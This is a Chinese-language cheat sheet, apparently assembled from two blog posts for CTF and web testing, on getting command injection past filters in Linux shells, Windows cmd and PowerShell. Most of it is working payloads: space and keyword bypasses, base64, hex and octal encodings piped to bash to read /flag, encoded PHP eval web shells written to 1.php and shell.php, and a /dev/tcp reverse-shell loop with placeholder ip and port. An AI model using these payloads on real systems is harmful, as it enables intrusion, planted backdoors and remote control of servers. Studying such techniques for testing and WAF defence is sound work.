%0a %0d ; |:可以连接命令,但只会执行后面的那条 ||:只有前面的命令失败,才会执行后面的语句 &:前面的命令可以成功也可以失败,都会执行后面的命令 &&:必须两条命令都为真才可以全部执行。如果第一条语句错误,整个命令都不执行。如果第一条语句对,第二条错误,就只执行第一条
列目录:
${PATH:5:1}${PATH:2:1} ${PATH:5:1}:l ${PATH:2:1}:s
利用设置变量拼接
a=l;b=s;$a$b a=fl;b=ag;cat $a$b
echo MTIzCg==|base64 -d #其将会打印123 echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
$(printf "\154\163") ==>ls $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag // 这个下面会详细说明 我们可以利用这个特性直接写马: {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php //八进制 而不必担心关键字过滤/特殊符号转义等问题了。
(1)more:一页一页的显示档案内容 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体内容
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS
那么为何$IFS
及其衍生的一系列变形可以绕过空格呢?解释如下:
$IFS在linux下表示分隔符,但是如果单纯的
cat$IFS2
,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用 ,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者
,它始终为空字符串。
某老哥遇到一个极端环境,所有的空格都被过滤了,如何无空格curl呢?
首先肯定想到老几样绕空格:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS
但是不用这些呢?
Linux下使用这条命令就行了:
xxxxxxxxxx
{printf,"\x63\x75\x72\x6C\x20\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x37\x2E\x30\x2E\x30\x2E\x31\x3A\x38\x30\x30\x30\x2F"}|${SHELL}
把curl的语句hex编码一下就可以了
curl http://127.0.0.1:8000/
那么说一下,网上原文为
xxxxxxxxxx
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0
可能是考虑到在PHP代码中需要把这个$符号进行一次转义,否则会导致PHP认为这是变量,但是如果只是放在shell中,肯定不行。
所以这句话应该写成:
xxxxxxxxxx
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
之后,我发现仍然不对(在我的环境下)
可以看到Ubuntu用户和root用户给出的$0
是不同的
-bash肯定没法用了
当然,我们面向WEB,则发现www
和apache
至少在我的环境里他们都是sh
。也就是说这条语句在我目前搭建的这些环境下通用。
过滤/禁用>
写入
echo 3c3f70687020406576616c28245f504f53545b277479736563275d293b3f3e|xxd -ps -r|tee shell.php
有时候添加一些脏数据对WAF也能起到不错的效果,但是哪些字符对语句无影响,哪些字符对语句有影响,则是我们需要关注的。不同的操作系统,一定有不同的
单双引号注意闭合问题 who""am""i who''''am''''i 斜杠 who\am\i (注意,只有这个斜杠才可以)
| 变量 | 含义 |
| ---- | ------------------------------------------------------------ |
| $0 | 当前脚本的文件名 |
| $n | 传递给脚本或者函数的参数。这里的n代指一个数字,表示第几个参数。参数不存在时,其值为空 |
| $# | 传递给脚本或函数的参数个数 |
| $* | 传递给脚本或函数的所有参数,参数不存在时其值为空 |
| $@ | 传递给脚本或函数的所有参数,参数不存在时其值为空。被双引号包括的时候,与$*
不同 |
| $? | 上个命令的退出状态,或函数的返回值 |
| $$ | 当前shell进程ID |
于是我们找一些可以不影响命令正常执行的符号来
who$@ami who$1ami
上面的如果都觉得不过瘾,我们直接滚键盘输入垃圾字符
`w`sjsaju`ho`snjbbbb`am`snjdn`i`
只需要保证反引号括起来的东西组合出来是个whoami
就可以
亦可:
wh$(sjs)oam$(shjhuuhh)i
只要保证除$()
外的命令能够组合成为一个whoami
就行
exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done
%0a & | %1a .bat文件中的命令分隔符
Windows上绕过空格的技巧并非对全部命令都适用,可以按照这个思路去尝试你想要绕过空格的命令能否支持这些方法
echo,123 echo;123 echo\123 echo[123 echo]123 echo=123 echo(123 cmd,/c,whoami
然而这些字符无法让ping、net等命令绕过空格
于是我们可以利用环境变量中的空格来代替人为输入的空格
环境变量截取,%%取环境变量,:截取字符串。~10表示从前十开始,1代表取1位,-5代表取倒数第五位。带空格的环境变量您可以通过set命令查看。
红框框选的
c:\program
正好是10位,从第十位起的第一位就是空格
例如:
ping%path:~10,1%127.0.0.1
正常运行
除%path:~10,1
以外,还可以是:
%path:~10,1% %programfiles:~10,1% %processor_identifier:~7,1% %commonprogramw6432:~10,1% %commonprogramfiles(x86):~10,1% %commonprogramfiles:~10,1% %commonprogramfiles:~10,-18% %commonprogramfiles:~23,1% %fps_browser_app_profile_string:~8,1% [...SNIP...]
前置知识:%a%==wh 被两个%包裹起来的视为一个变量
%b:~0,1 == 截取第0到1个字母
合起来就是whoami
set a=wh&set b=oax&set c=ami&%a%%b:~0,1%%c%
windows的似乎没发现什么好的脏数据填充的绕过姿势,总结下来就这几种
纯粹双引号,不包裹 wh""o""am""i
双引号并且包裹字符 "w"h"o"a"m"i "w""""h"o"a"m"i
转义符号 wh""o^ami
转义符号、双引号、包裹 wh""o^ami"
可以发现第二条语句比较有意思,三个双引号仍然可以正常执行
但是值得注意的是"wh""o^a^mi"
这种开头有引号的情况是无法正常执行的
命令加个括号仍然可以正常执行,例如
(whoami) (((whoami))) 甚至你可以把上面的命令放到括号里面
Powershell拥有一些独特的特性,所以我们单独拿出来说说。
https://yangsirrr.github.io/2021/08/11/powershell-bypass-tips/
可以在命令前面加一个&
但是值得注意的是,如果你是在cmd终端下,那么必须得将这个&
转义
不转义:
就只会调出powershell,具体原理大家懂的都懂。
转以后就可以正常用了:
xxxxxxxxxx
IEX("whoami")
Invoke-Expression("whoami")
https://mp.weixin.qq.com/s/Yj9xgjQud8ScXAuV4JS4og
https://blog.csdn.net/qq_45552960/article/details/104576189
两篇文章都很不错,第一篇文章主要是直接开始介绍各种方法,而第二篇文章除去介绍方法还关注了一下原理方面。所以这两篇文章取长补短,"凑"出了这篇文章。